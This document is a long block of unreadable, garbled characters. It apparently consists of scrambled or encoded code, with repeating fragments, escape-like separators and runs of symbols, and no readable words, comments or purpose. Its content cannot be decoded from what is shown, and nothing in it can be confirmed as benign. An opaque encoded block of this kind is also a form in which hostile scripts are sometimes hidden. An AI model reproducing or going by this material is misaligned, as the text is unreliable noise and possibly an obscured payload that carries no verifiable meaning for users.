O___NN\mGGGmGGGGGGGGGO3GGGGGC  PNGGmGGGGWS	V VQPO8Q TOVW_WNKGGC  PN\mGGGGGGGGO"	GGGC  PNGGmGGGGGmHHG	GG	mmmGGG
8OWW RUOVW_VNKGGC	W^ SSKGWN\m	GGGCT\mGGGGmGGGG		GG^S_SV8PUOC R8S NmGGmHMG
G	GMHmmGGGGO^8UVUVOVW_UNOC R8S NNGG	GGC R8S \mmmGGGGO8Q TO^QWNOC R8S NGGAAGGGOC R8S <@@:NGAAGG^8UVUVOVW_TNOC R8S <@@:NNG	GC R8S <@@:\mGGGG	GEE\mGGmGGGG		GGGGWQ8
UP
POCPRNmGGGGmGCGGGGGZGGGGON\mCSUSGGGGZGGO	 NGU^ _UO^8UVUVOVW_SNKGGGGGEEN\mGGGGCRURGZGGGO	 NGU^ _UO	QU 
OVW_RNKGGEEN\mGGGGGGGOCSUSGGFZZGGGEEGAAGCRURGGGGFZZGGGEENGGGC_PZ7/78.)38*&?H7/78.)38*&?\CW 
ZC_PLPW\mGGC<CSUS:GGZGGGGGGCRUR\mGGGmmmmCUGZGGU^ _UO8Q TOR_PNKGONN\mGGGGGGGGOWW RUOVW_QNOCUNNGGGGmHHGG
	G	 mC	VVUZUVQVQ^\CS	ZC	VVU9VRW\mGGGOCUGGGC ^WRRGGGGGGZYGCPTW^8 NGmmmmC
8SP_GGGGZGGG^S_SV8PUOCPTW^8 N\mmmGGGGGGOC
8SP_GGFZZGEENGC<O	 NGC ^WRR:GGZGGC
8SP_\mmHHGJ		G
mmGGGm	GGGGGC\mGGGGGm		GGGS
V
POC ^WRRKGGGGGCSPPKGGGGGCP^RNmmmmGGmGGGGGGGGGOFGGWW RUO^TRNOC ^WRRNGGGGGFGGWW RUOVW_PNOC ^WRRKG^8UVUVOVW__NNNGGmmmG	GGGC ^WRR\mGmGGGGGGGGOFGC ^WRRJY8OWW RUO_VPNNNGGmGG	GGGGC ^WRR\mGGGGGGmGGGGGGOFGGGWW RUOVW_^NOCP^RNGGGGGGGGGFGGGCP^RNGGmG	GGC ^WRR\mGGGGGmCUGGGGZGGGGU^ _UOWW RUOR_PNKGGONN\mGGGGGOFGGG8Q TOVW_QNOCUNNGmmmmGCUGGZGGGGON\CRWSUZVTLRR\C
SW	 		ZCRWSUJUV\mmmmGGGGGGGmGGOCUGGGGGGGGGGC_8RPGZYGGGGC U_WR
UNGGmCT__GZGGG	QU 
OVW_QNOC U_WR
UNGGGGGGAAGGGOC U_WR
U<	QU 
OR^UN:NGXGGO	NGGGC U_WR
U<8Q TOVW^WN:G]GGGW\mGGGGGGOCT__GGAAGCT__G[GG^8UVUVORRSNONGJGGGGGOWUTPVPLWRU^NNGG	OCU<C_8RP:N\mmCU<C ^WRRJY8 	:GGZGGGO@@GGZYGGCP^RKGGGG^8UVUVOVW^VNGGGZYGGGGWW RUORRSNONKGGWW RUOR_^NGGGZYGGWN\mG_8U^ P O8Q TOR_PNKGCUKGGGWW RUOVW^UNN\mGGGGGGO3GGC  PNGGGGmGWS	V VQPOWW RUOVW^TNKGGGGC  PN\mGGGGGGO"	GGGC  PNGmHMG	 J	G GMHmmGGmGGGGGG	GGGGC ^WRR\mGGGGGmGGGG		G	Q8PSOC  S ^
U^KGC ^WRRNmGGmGGGGmmmmGGGGGOF	QU 
OVW^SNOC  S ^
U^NGGGGC  S ^
U^GGGZZZGEENG	\mGGGGGGmmGGGCUGGGZGGGU^ _UO	QU 
OVW^RNKGONN\mGGGGGOF	QU 
OVW_QNOCUNGGGGGGGGGFOCU<C  S ^
U^:NNGG	\mGGGGGGC  PGZGCU<C  S ^
U^:\mmmGGGGGGGGO8Q TOVW_QNOC  PNGGAAG
OC  P<^8UVUVOR_^N:NNGGGmmmmGGGGGCU<C  S ^
U^:<8Q TOR_^N:GGGGZGGGGGV\mGG_8U^ P O	QU 
OVW^RNKGCUKGG	QU 
OVW^QNN\mmGGGO3GGGC	_R NGGGGGmHHG
	G	 JmmGGGGWS	V VQPO	QU 
OVW^PNKGGC	_R N\mGGGGO"	GGGC	_R NGGmmmGGGmGGmmmmGGGG		GGGGG RTVV_OCPRNmGGmGGOFGG^8UVUVOVW_QNOCPRNNGGmG	G\mmmmmC
UU^  GZGWPPSQTSON\mGGGGOCPRGGGGGGGCS8TUSUVNGGGmmmGGOC
UU^  GGGGCT_VV8NGmGO8Q TOPPNO8Q TOVW^_NGGIGG^8UVUVO^QTNOCT_VV8KG@H@NGGGIG	QU 
OVW^^NKGCS8TUSUVJY8 	NNGGGmGGG	GGGGCS8TUSUV\mGGGGmGGmHHGG	JGG$
GmmGGGGGGGmmmmG	GG\mmGmGGGGG		GGG^U  

VROC	VPKGCSWVTS TQPTNmGGGGGGGm	GGGG8Q TOVWVQNO	QU 
OVWUVNOC	VPNKGGGWKGGGCSWVTS TQPTN\mm		GGGG P	WRR88OCR	PUSVNmGGGmmmGGGGGGOF8Q TOVVWWNOCR	PUSVNGGGGGGGCR	PUSVGZZZGGEEGGGGF	OWW RUO^VVNNNGGG	G\mGGGGmmGGGGC W8GGGZG	\mGGGGGOC W8GGGZZZGGGG	NGGGmmGGGC W8GGGZGGGGGOmGGG^U  

VRO&%47&3/GGGIGG8Q TOVVWVNKGOS[[VNNGGGGIGWW RUO^_RNKm^U  

VRO&%47&3/GGGGGIG	QU 
OVVWUNKGOVWJUNNGGGIG	QU 
O^_RNKmmGN\mmGmmGGGOC W8GGGGCR8NGGGmGGGGGGGOWW RUOVWVPNOCR	PUSVKGGCR8NGGFZZGNG	G\mmmmmGGGGGGG	GGGG\mmmmGGGGmmmGGG		G TV
WUOCSWVTS TQPTNmGGGmmmmG	G^U  

VRO	OO	 NGGGGGWW RUOPPTNONKGGGGGNKGCSWVTS TQPTN\mmG		GG_^UQWU
TOC	VRNmmmGGGGGmGGGGGGOF	QU 
OVWP^NO	QU 
OPQTNNNGGGG	G\mGCS
_
GGGZGG 8	O8Q TOVVWTNKGONN\mGGGGGGGGOF8Q TOVW_QNOCS
_
NNGG	GGGGG\mmmmGGCUWU
GGGZGGG8Q TOVWUVNOC	VRN\mmmGGO
OCS
_
<CUWU
:NNG	GGG\mmmGGGGGC
8SP_GGGZGGWW RUOUWQNO@@KGGO	 NGCS
_
<CUWU
:N\mGGGGGC	WRGGGGGGZGGGOC
8SP_<V:NGGGGXGGO	NGGC
8SP_<V:G]GGGW\mGGGGGG	GGGGOC	WRGGGGYGGGGGWGGGGAAGGGG8Q TORRSNONGGJGC	WRGGGG[GGO_QTRTLSPNN\mmmGGGGGGmG		GVR
8_
 ^W	OC	VRKGGC
P_^
RNmGGGGmGGGGGGGGGOF	QU 
OVWP^NO^8UVUVOPQTNNGGGGF	QU 
OVWP^NO8Q TO_P^NNNG	\mGCS
_
GGZGGGGG 8	O	QU 
OVVWTNKGGGGGONN\mGGGGOFWW RUOVVWSNOCS
_
NNGGCS
_
GGGZGGGGON\mGGmmCUWU
GGZGGG	QU 
OVWUVNOC	VRN\mGGGGGGOFC
P_^
RNGmHMG	
G	JGMHmmGGGGGOOCS
_
<CUWU
:NNGGGGCSW	R^ZJQ^_\CV8TP^ZOCSW	R^YWNXCSW	R^]JCSW	R^\mGGGG	OCS
_
<CUWU
:N\mGGG8	O8Q TOVVWTNKGCS
_
N\C	_	8
ZOWVLWSN\C^P^
VZC	_	8
BT\mGGmGG	\mGmGC
GGZGGW\mGGGGOF
OCS
_
<CUWU
:NNGGGGCSTZ7/78*&-(581"54.()\CTWZCSTMU\mGGGGGGC
8SP_GZGGWW RUOVVWRNO@@KGO	 NGGCS
_
<CUWU
:N\mGGGGGGGC
GGGZGO	NGGC
8SP_<W:\mGGGGGGmGGGC
LL\mC	WRGGGZGOC
GGGGGGYZGGGOURR9URUNNGGGGXGGGGG^8UVUVORRSNONGGGGG]GGGGGW\mGOCS
_
GGGGGCT
SW
TGZYGGGGCRWWV
RSNGC
QPRZ_PMR\CQ__	VZC
QPRJTP\mGCR	PUSVGGZGGG8Q TOVVWRNO@@KGGO	 NGCRWWV
RSN\mGGGGGGOF
OCR	PUSV<V:NGGGGAAGG8Q TORRSNONGJGO	NGCR	PUSV<V:GGGYGGGOVPUP^QLSNNGGGGGG	OCS
_
<CT
SW
T:N\mGmmmmGGGGGGCS
_
<CUWU
:GZGGGC
GGGGIGGG@@GIGC	WR\mGGGGGG8	O	QU 
OVVWQNKGGGGCS
_
N\mGGGmmm		GP
QWSQ
ROC	VRKGGCWWNmGGmmGGGOFWW RUOVVWWNOCWWNNGG	\mGGGCWQ
GGZGGGGGVTWRV
RO8Q TOVWU_NOC	VRNKGGGG	QU 
OVVWPNN\mGGGGOCWQ
GGGFZZGGNGmGGGGGO'^8UVUVOVVW_NOCWQ
KGGGGCWWNGGGZZZG^8UVUVOVVW^NOCWWNGGGAAGG	
R
 S	VTOCWQ
KGGGGC	VRNNG	\mGGGGGU	U8OCWQ
N\mmmGGGGGmGGGGGG'WW RUOVVW_NOC	VRKGCWWN\mmG		GSS8^

TVOC	VRKGGGGC	TNmGmGC
Q^	R8S	GZGG	QU 
OVVVWNOC	VRN\mGGGGGGGGOF'WW RUOVVVVNOC
Q^	R8S	NNGGGmWS	V VQPO	QU 
OVVVUNKG^8UVUVOVVVTNGIGGGGGG	QU 
OVVVSNOC	VRNN\m	GGG\mmmGGGGGGmGGGGGCT8
T8GZGO^8UVUVOVWVQNOC	VRKGJOUTP9UTTNNGGGGGZZZGG8Q TO^_RNN\mGGGGOCT8
T8GGGGGAAGGGGGGFW^RTOC	TNNGGGmGGGWS	V VQPOWW RUOVVVUNKGGWW RUOVVVRNGGGGGIGGG8Q TOVVVSNOC	VRNN\mGGG	GG\mmmGGGGGmGGGGGGOCT8
T8GGGAAG_^UQWU
TOC	VRNNGG	GGG\mGGC	QQGGZG\mGGGGGGGO'^8UVUVOVVVQNOC	VRNNGGGGC	QQGGZGG\GmGGGCWWGZGGGG	\mGGGCPR

SGZGG\mGGGCRT_GGZG	\mGGGGGGGGGGGGO'8Q TOVVVPNOC	VRNGGAAGGF'^8UVUVOVVV_NOC	VRNNGGGGmHHGG		mmGGGGGCPR

SGGGGGZGGG\mGGGGGGCRT_GGGGZGG'
OC	VRN\mGGGGGGGGGGOCRT_GGGGZZZGNGGCRT_GGGGGGZGG	\mGGGGGGGGGO'	QU 
OVVV^NOC	VRNGG[ZGGGGOWVRWWLWVPVRWNNGGGCWWGGGZGGG'WW RUOVWU^NOC	VRN\mGGGGmGGGGGGOF^8UVUVOVVUWNO^8UVUVOUSNNNGGC
 ZTRLST\C QSZC
 JU_\mGWS	V VQPO^8UVUVOVVUVNKGWW RUOVVUUNGGIG8Q TOVVUTNOC	VRNN\mGG	GG\mGGmGGGGGCPWR	_ GZGGG\mGGGGC	8VVU8GGGGZGG\mmmmGC8GGGGGGZGG	QU 
OVVW^NOC	TN\mGGGGGOCP
WGZGGGGGW\GCP
WGG[GGGGGGU\GGCP
WLLNGGGGmmmmCPWR	_ GZGGVTWRV
ROC
Q^	R8S	KGWW RUO_T_NN\mGGGGGGGOCPWR	_ GFZZGGGNGmC	8VVU8GZGG\mGGGGCR	PUSVGGZGG'	QU 
OVVTNOCPWR	_ KGGGGG8Q TOVVUSNN\mGGGGGGOCR	PUSVGGGGGFZZGGNGGmmmCR^8Q^U
GGZGW\mGGGGGGOCR^8Q^U
GGGGG[GC8NGGGGGmGGGCSVRGGGGGZGGG'WW RUOVVURNOCR	PUSVKGGGGGWW RUOVWVQNOC	TKGCR^8Q^U
NN\mGGGGGGOCSVRGGGGZZZGGGGGGGGCSVRGGZZZGGGWNGGGGG\mGCR^8Q^U
GGLZGCSVR\mmGGGGGGGGmHHGG
mm'OCR	PUSVN\mGGO8Q TOVVUQNO	QU 
OVVUPNNNG'	OCR	PUSVN\mGGGGGG'OCR	PUSVN\mGGGGGOCR^8Q^U
GGGZZZGC8NGC	8VVU8GGGZGCR^8Q^U
\mGGGGGGGGGGmGC	8VVU8GGZG'^8UVUVOVVW_NOCPWR	_ KGGC	TN\mGGmGGGGGGGGOC	8VVU8GFZZGGGGGGAAGC	8VVU8GGGZZZGGC8NGG\mGU	U8OCPWR	_ N\CSWU8	ZSSM_\C^T8RTZCSWU8	JSS\mGGGCPWR	_ GGGZGG\mmGGGGmGGGOCPWR	_ GZZZGGNGGmGGWS	V VQPO	QU 
OVVUVNKG^8UVUVOVVU_NGGIGGG	QU 
OVVUTNOC	VRNN\m	GGGG\mGGGGGGmGGGGGGGOC	8VVU8GGZZZGGGGGGGGGC	8VVU8GGGGFZZGGC8NGGmmmmGGGGWS	V VQPO^8UVUVOVVUVNKGGG^8UVUVOVVU^NGGIG	QU 
OVVUTNOC	VRNN\mGGGU	U8OCPWR	_ N\mGGG	G\mGGGGmHHG'
JG	JJ mmmmGGOCRT_GGFZZG	NG'8Q TOVPNOCPWR	_ KGCRT_GAGGGOSUPL_SNN\mGGGGGCW	GZG	
R
 S	VTOCPWR	_ KGC	VRN\mmGGGOFCW	GGGGAAGGCPR

SGAAGGFC	QQNGGmGGGGGGGGO'8Q TOVVTWNOC	VRNNGGGGG



T_WOC	VRKGGGGGGOTS_LPUNN\mmmmC^V^^GZGGGC	VRGIG8Q TOVVTVNGGGGIGGGG8Q TOPPTNOO^WSL^QNKGGGO^^TQLQTNN\mGGGO	
R
 S	VTOC	VRKGGGGGC^V^^NNGmGGGGGCW	GGGZG	
R
 S	VTOCPWR	_ KGC	VRN\mGGGGOCW	NGGmGGGGU	U8OC^V^^N\mGGGGGGGGC
	TWZQWRW\C 8
ZC
	TWBU\mGGGGGOF	
R
 S	VTOC^V^^KGGGC	VRNGAAGGGGGFW	
VRP^OC^V^^KGGC	VRNNGGGGGmGP
QWSQ
ROC	VRKGCWWN\mGGGGGGmGGGGOF'	QU 
OVVTUNOC	VRNNGGGGGmGP
QWSQ
ROC	VRKGCWWN\mGmmGGGmGGGGGmGGmGGGGGGGGGOFCW	GGGGGAAGGGFC	QQGGGGAAGFCT8
T8NGGGGGmGGGGGO'8Q TOVVTTNOC	VRNNGG



T_WOC	VRKGOPRQJTTQNN\mGGGOW	
VRP^OCPWR	_ KGGGC	VRNNGmCW	GGGGGGZGG\mGGU	U8OCPWR	_ N\mGGGGGGGmGmmmGGGGOFCW	NGGGGmHHG07G&G3]G
	GmCRV
ZJ^TU\C
Q^Q_U
VZOCRV
YWNXCRV
]JCRV
\mGGGO'8Q TOVVTTNOC	VRNGAAGGGGO	NGG'WW RUOVVV^NOC	VRNGGFZZGGC8NGmGGGCQUP^GZGGGGGG'	QU 
OVWU^NOC	VRN\mGGGGGGGGOF	QU 
OVVWWNOCQUP^NGGGO8Q TOVVWWNOCWWNGGAAGGGCQUP^GGGGFZZGGGCWWNNGGGGmGGGGGGGO^8UVUVOVVWWNOCWWNNGGP
QWSQ
ROC	VRKGGGGCWWN\mGGGGGOFCPR

SNGGGGU	U8OC	VRN\mGGGGmG	OCQUP^N\C  ZP\C

 8SUZOC  YWNXC  ]JC  \mGGGmHHGG		GG07G7 G+mmmGGGGOF'8Q TOVVTTNOC	VRNNGGGGGmGP
QWSQ
ROC	VRKGGCWWN\mGGGGGGGmGGGGWS	V VQPO8Q TOVVUVNKG	QU 
OVVTSNGGGGGIGGGGG^8UVUVOVVUTNOC	VRNN\mU	U8OCPWR	_ N\mGG	GG\mGGGmGGG'OKGC	VRN\mCUSS RGGZG\mGGGOC8G[ZGGGGGGOUW^PWR_L^SNNGmGGC8 TGZGGGGG'^8UVUVOVWU^NOC	VRN\mGGGGCUSS RGZGGGGGO^8UVUVOVVWWNOC8 TNGGGGAAGWW RUOVVTRNOC8 TNGGGGZZZGGGGC8GGGAAGGGWW RUOVWUVNOC8 TNGZZZGG8Q TOVWUVNOC	TNN\mmmmmmGGGGGGGGGGGGmGGGCR_8QGGZGGG8Q TOVVTQNO	QU 
OVVTPNNGGXGGG'8OWW RUOVWUVNKGC	VRNGGG]GGG\mGO	QU 
OVVWWNOCR_8QNGAAGGCR_8QGGFZZGEENGCUSS RGZGOCR_8QGGZZZGGGGGG8Q TOVWUVNOC	TNN\mGGGmGGGC_TPGGGGZGGGGG'8Q TOVVV^NOC	VRN\mGOC_TPGZZZGGGC8NGmC8RSP_GGZG'	QU 
OVWU^NOC	VRKGGGKGG	KGGWKGOSWSULRSNN\mGGGGC8GZGGG'	QU 
OVWU^NOC	VRKGGKGGG	KGGGC8GGJGGGGOQTTUJUUTQNN\C
V VVZT_M^\CTUU^ZC
V VVJSW\mmmmGGGGGCUSS RGGZGGGO8Q TOVVWWNOC8RSP_NGGGGAAGGGG	QU 
OVVWWNOC8NGGAAGGGGGGC8RSP_GGGGZZZGGGG^8UVUVOVVT_NOC	TKGGGWKGGGOSWR_LT_NNGGAAGGGC8GGZZZG^8UVUVOVVT_NOC	TKGGC8GGGGGJGGGGOSWVQL_WNNN\mmGmGGGmmmGGmGGGOFCUSS RNGGmGGGGGGGWS	V VQPO	QU 
OVVT^NKG^8UVUVOVVSWNGGGIG	QU 
OVVUTNOC	VRNN\mGGGGGGOCT8
T8NGGVR
8_
 ^W	OC	VRKGGN\mmmmGGO8Q TOVVSVNOCWWNNGGGGmmGGCQV	_VUTGZGGG^8UVUVOVVTQNO	QU 
OVVTPNNGGGGXGGGGGG'8OWW RUOVVSUNKGGGGGGC	VRNGGGGG]GG\mGGGGGGOWW RUOVVSVNOCQV	_VUTNGAAGGGGCQV	_VUTGGGFZZGGGGGGEEGAAGCQV	_VUTGGFZZG	QU 
OVVSUNOC	TNGGAAGGGGGGCQV	_VUTGFZZG^8UVUVOVVSUNOCWWNNGGmGWS	V VQPO8Q TOVVT^NKGG	QU 
OVVSTNGIGGG^8UVUVOVVUTNOC	VRNN\mGGGGmmGGG	GGGG\mmGmmmmC8STTGGGGZGGGVTWRV
ROC
Q^	R8S	KGG^8UVUVO_T_NN\mGOC8STTGGFZZGGGGAAGGG'WW RUOVVSSNOC8STTKGCWWNGZZZGGG	QU 
OVVTRNOCWWNNGGGmGGGGGGOF	
R
 S	VTOC8STTKGGGC	VRNNGGGGGmGGGGGGO'^8UVUVOVVTTNOC	VRNGGGAAGFC	QQNG



T_WOC	VRKGGOT^WLTWNN\mmGGGOFC	QQGGGGAAGW	
VRP^OC8STTKGGGGGGC	VRNNGGGmGGGGU	U8OC8STTN\mGGGGGGGmmGGG'WW RUOVVSSNOC	VRKGGGCWWN\mU	U8OC8STTN\mGmGmGGGGGmGGOC8STTGGFZZGNGGGGGU	U8OC8STTN\m'8Q TOVVSSNOC	VRKGGCWWN\mmmGGGGGmHHG	 G
mmVRQU8OC	VRN\mGGGOFCPR

SNGGGmGGGGGU	U8OC	VRN\mm	GGG\mmmmGGGmmmGGGVRQU8OC	VRN\mVVU
OC	VRN\mGGG



T_WOC	VRKGGGOTU^L^VNN\mmGGGGGGOCT8
T8NGGVR
8_
 ^W	OC	VRKGGN\mGGGGGG	GGGGGG\mGGm		GGGQWRSVUWTQOC	VRKGGGGGCV SNmmmGGGCWUQGGZGGGGGGE[X;	E\mGO	QU 
OVVSVNOCV SNGGAAGGCV SGFZZGEEGGGAAGGWW RUOVWVPNOCV SKGGGG^8UVUVOVVSRNNGGGGGFZZGGGGAAGGW^RTOCV SNNGGGCWUQGGGGGGZGGGGCV S\mGGGO'	QU 
OVVSQNOC	VRNNGGGGmHHGG		mC^_T8SWZJ^R\C U8VV8V8ZOC^_T8SWYWNXC^_T8SW]JC^_T8SW\mGGGGGCQ8  ^T8UQGGGGZGGGG'	QU 
OVWU^NOC	VRN\mGGGOWW RUOVVSVNOCQ8  ^T8UQNGGAAG8 	  OCQ8  ^T8UQNGZZZGGGCWUQNGGG	\mmGGOFSS8^

TVOC	VRKGCWUQNNGGGmGGGGCPWW
8TGZGGG'8Q TOVWU^NOC	VRN\mGGGGGGGOFO^8UVUVOVVSVNOCPWW
8TNGGGGAAG8 	  OCPWW
8TNGGZZZGGGGCWUQNNGGGGG'^8UVUVOVVSSNOC	VRKGGGGGCWUQN\m	OCPWW
8TN\mGmGVRQU8OC	VRN\mmGGGG		GGGG	8R_^_R^ONmGGGGGmGGGGGGGGGGGGO^8UVUVOVVTQNO8Q TOVVSPNNGGAAGG VTQ	ONNGG	GGGG\mmmGGGOFWW RUOVVTQNO8Q TOPPWNNGGGGGGGGFWW RUOVVTQNO8Q TOPPVNNNGGGGGG	GG\mGCTR	UW TWGGZGGGG
8O@H@N\mGCTR	UW TWGGGGGIZGO^8UVUVOVVS_NOCTR	UW TWKGGG@X@NGGGZZZGGGGGGGXGGG@X@G]G@A@NGGIGG^8UVUVOVVS^NGIG^8UVUVORRSNONGIGGGGWW RUOPPTNOOP_9SUNKGOVVQTJVQSNN\mGC	WTVT ^GGGZG8Q TOVVRWNOCTR	UW TWKGGGO^8UVUVO_^SNGZYGOU[[UNKGG^8UVUVOPQWNGZYGKGGGWW RUOVVRVNGGGGGGZYGGUKGG	QU 
OTU_NGZYGGOWW RUOVVRUNGGGGZYGGGWW RUOVVRTNNNN\mGGGGGO8Q TOVVTQNOWW RUOTVTNNGGGGGGAAGGGG88OC	WTVT ^NNGGmGO	QU 
OVVRSNO^8UVUVOPPPNNNG^8UVUVOVVRRNOVN\mGC	WTVT ^GGZGGGGG^8UVUVOVVRWNOCTR	UW TWKGGGO8Q TO_^SNGZYGGOV_U9V^WNKG^8UVUVOPQWNGGGGGZYGKGG8Q TOVVRVNGGGGZYGUKG	QU 
OVVRQNGGZYGGO^8UVUVOVVRUNGGGZYGGG8Q TOVVRTNNNN\mGGGGGGO^8UVUVOVVRSNO	QU 
OTVTNNGGAAGGG88OC	WTVT ^NNGGGG	GG\mmGGGC_		PGGGZGGGO	NGGG8
88	8OC	WTVT ^N\mG	GGGC_		PGGGGYZGOVTW9UTWNGAAGGGGGGC_		PGG[GOSP^LUVN\mmGGm		G8VTVWU8WQ
OC	UKGGGGCW_WNmmGGGC	VWUGGGGZG8Q TO^QTNOWW RUOVVUTNOCW_WNKGGG@H@N\mGGGGGGGOmGGGGGOmmmGGGG	QU 
OVVRPNGGIGGGGGC	VWUGGGGIGWW RUOVVR_NKmGGGGWW RUOVVR^NGGGGIGGC	VWUGGGGGGIGGGGG8Q TOVVQWNKmG8Q TOVVQVNGGIGGGC	VWUGGGGGIGG	QU 
OVVQUNKmGGGNGGGGGCTVVmmmGNGGmGGGGGGOF	QU 
OVVSVNOC	UNNGGG\mGGC	UGGGGGZGG^8UVUVOS^WNOCTVVKGGE;	EKGGGC	UN\mm	GGC	U\mmGGGG		GGGGGGVRQU8OCWSSNmGmmmGGGGGGGGGGO^8UVUVOVVRSNO8Q TO_RTNNNGGGmGGGG	GG'8	OCWSSKGGGGNGFZZGGGG\mmHHG07G%G1	]G	G	mmmmmC^ VWSS_VGGZG	QU 
OVVRSNOWW RUOVVQTNNGXG'8 8ONG]GG\mmGGG	GGFO8Q TOVVWSNOC^ VWSS_VNGAAGGGGGGF
OC^ VWSS_V<8Q TOVVQSN:NN\mGGmG		G
TT^	SOC	VRKGCR
8Q
KGC^UNmmmGmGGGGOWW RUOVVT_NOC	VRKGGGGGGJOWTLWVNNGGZZZG^8UVUVO^_RNNGGGmmGGGGGGGGOFSS8^

TVOC	VRKGGGGCR
8Q
NNGGGmWS	V VQPOC^UKGGGGG^8UVUVOVVQRNGGGGIGG8Q TOVVUTNOC	VRNN\mGGGGG	GGG\mGGGGmGGGGVRQU8OC	VRN\mGGG	GWW RUOVVQQNOCR
8Q
N\mmmmCR	PUSVGZGG'	QU 
OVVTNOC	VRKGG	QU 
OVVUSNN\mGGGOCR	PUSVGGZZZGGGNGGGGmGWS	V VQPOC^UKGGGGWW RUOVVQRNGIGGGGGG	QU 
OVVQPNOC	VRNN\mmmG	GGG\mmmGGGGGGGO^8UVUVOVVQ_NO8Q TOVVUNNNGG'OCR	PUSVKG+($,8"?N\mC	WTVT ^GZGG'8Q TOVVQ^NOCR	PUSVKGGGGGCR
8Q
N\mGGO^8UVUVOVVQ_NOWW RUOVVPWNNNGG'OCR	PUSVKGGG+($,82)N\m'OCR	PUSVN\mGGGGGGGGGOC	WTVT ^GZZZGGGGGGGGGOCR
8Q
GFZZGGEEGAAGGC	WTVT ^GGGFZZGGG8Q TOVVQQNOCR
8Q
NNNGGGmGGGWS	V VQPOC^UKGGGGWW RUOVVQRNGGIGWW RUOVVQPNOC	VRNN\mGG	GG\mGGGmG	GGGC	WTVT ^\mmmGGmmmG		G8__ 8	ONmGGmGGGGGGmmmGGGGGOF^8UVUVOVVQ_NOWW RUOVWW_NNGGGGGGF8Q TOVVPVNO^8UVUVOVVPUNNNGmP SQO	N\mmmmGGGG	\mmGGGGGGGGGO 8		O8Q TOVVPTNNNGG	\mGGGGO 8		O8Q TOVVPSNNNGG	\mG8		O	QU 
OVVPSNKGGGGVKGGGGGOR^RLRNN\mP SQO	N\mGO	QU 
OVVPRNO8Q TOVVPQNNNGGG8		O8Q TOVVPSNN\mGGGGCSUSGGZG^8UVUVOVVPRNO^8UVUVOVVPPNNGXGGO	 NGU^ _UO	QU 
OVVP_NKGGGGEENG]GGGEE\mGGGGGGGOCSUSGGFZZGGGGEEGAAGGGG^8UVUVOVVP^NO8Q TOVV_WNNGGGGGAAGGG	
8OCSUSNNGGGGm8		OWW RUOVVPTNKGVKGGOUVR_SLVQNN\mGGmGGGGO3GGGGC  PNGGGmGWS	V VQPO8Q TOVV_VNKGGGGGC  PN\C^ZUUSW\CZC^BVP\mGGGGGGGGGO"	GGC  PNGGGmGmmG		GP SQOCPRNmC	VP_RZOWLW^^N\C_8TZC	VP_RBQ\mGGGGGGOF^PVWO8Q TOSUSNNNGGG	\mGmGGGGOFGGG8Q TOVVP^NO^8UVUVOVVPPNNGGGGFGGG8Q TOVVP^NO	QU 
OVV_WNNNGmG	\mGGGGmGGCSPPGGZGGGO	 NGU^ _UO8Q TOVV_UNKGGGEEN\mGGGGOCSPPGFZZGEEGGAAGGG	
8OCSPPNGGAAGGGO	 NGGGGU^ _UO8Q TOVW_RNKGGEENGFZZGGGGEENGGGmmmGGG	\mmGGGmGGGGGOCSPPGGGGGGZZZGGGGGGEENGGmGCW8SUP8UGGGZG	QU 
OVVWSNOCPRNGGGXGCPRGGG]GGWWW		WUT^ON\mGCSWGGGZG RTVV_OCW8SUP8UN\mGGOmGCSWGGGAAGGGGGF
OCSWJY8 	NGAAGGGGGOCSWJY8
NmGGGGAAGGCSWJY8
GZZZGGCSWJY8 	GIG@'@GGGGIGGPQ
P
WS	U^O^8UVUVOVV_TNNmNGGmGGGGGCSPPGGGGZGGGGO	 NGGCSWJY8 	\mGGGGGGmGGmGGGGGOCSPPGGGGGFZZGEEGGAAGG	
8OCSPPNNGmmmmGGGGCQ8TGGGZGG	
8OCSPPN\mGGGCP^RGGGGZGG TV
WUOOV^LRNN\mGGGGO	QU 
OVV_SNO^8UVUVOVV_RNNNGmGGGGG^8UVUVOVV_QNOCP^RKGGGCQ8TN\mmGGG_8U^ P O	QU 
OVV_PNKGGGGCSPPKGGWW RUOVW^QNN\m_8U^ P O^8UVUVOVW_RNKGGGCP^RKGGG8Q TOVW^QNN\mmmG	\mGGGGGmGGC
UU^  GGGGGZGWPPSQTSON\mGGGONGmGGGCSPPGGGZGEE\mGGGGGOC  88 SGZGGGGW\GC  88 SG[GGGGGOUWS9UWVN\GC  88 SLLNGGGGmGGCP
WGGGGZGGC
UU^  <^8UVUVOTWSNOC
UU^  N:GGGIGGGGG TV
WUOOVW^9VWTNN\mGGGGOF	
8OCP
WNNGGmmmmCSPPGGZGGGCP
W\mmm\mGGGGGGmmGGmGGGGGGGGGGGOCSPPGZZZGGGGEENGGmGGWS	V VQPOWW RUOVV__NKG^8UVUVOVV_^NN\mm	\mGmHHG
G	mmGGGmmmGGGGGGCP^RGGGZGGG TV
WUOOV^_9UUUNN\mmmmGGGGGGGOFGGGGWW RUOVV_SNOWW RUOVV^WNNGGGAAGGGGG	O	QU 
O^VVNNGGAAGGWW RUO_U_NO&%47&3/GIG	QU 
OVV^VNNNGmGGGGGGG8	GG&%47&3/GIGG	QU 
OVV^VN\mmmGGmGGCQ STR^^GZGGCSPPGIGG@'@GGGGIGPQ
P
WS	U^O^8UVUVOVV_TNN\mGGGCP^PTGZGGGGG\mGGGGGGO^8UVUVOVV_SNO8Q TOVV^WNNNGGGmCP^PTGGZGGGWW RUOVV^WNOOmGGG	QU 
OVV^UNGGGZYGGGCSPPKmmGGG^8UVUVOVV^TNGZYGCP^RKmmGGGGG8Q TOVV^SNGGZYGCQ STR^^Km^8UVUVO_VQNGZYGGG^8UVUVO_VPNKmWW RUOVV^RNGZYGGGGGCSPPKmNN\mGGO88OCP^PTNNGmmmGGGGWS	V VQPO^8UVUVOVV__NKGGGCP^PTJY 88ONGGGGIG@]@GGGGIGGGCP^PTJY 88
 ONN\mGCP^PTGGGGGZGG\mGmGmmGGGGGOFCP^PTNGGC
W8PZU^MS\CVRU  ZC
W8PJTT\mGGGCGGZGGGGGGOC +(%&+4<	QU 
OVV^QN:NGGXGGGGC +(%&+4<	QU 
OVV^QN:GGGGG]G	\mGGGGGGOFCGGGGGF	QU 
O^TRNOCNNGGGmGGWS	V VQPO	QU 
OVV^PNKGGGGGG	QU 
OVV^_NN\m	\mGGGGmHHG(7G	 GGmmGCRVQ 	GGGGZG8Q TOVV^^NO	QU 
OVUWWNNGGGXGGGGG88OCP^RNGG]GGGGWW RUOVVSUNOCP^RN\mGCP R SS
UGGGGGZG	QU 
OVV^^NO	QU 
OVUWVNNGGXGG	8
OWW RUOVUWUNNGG]G 
O	QU 
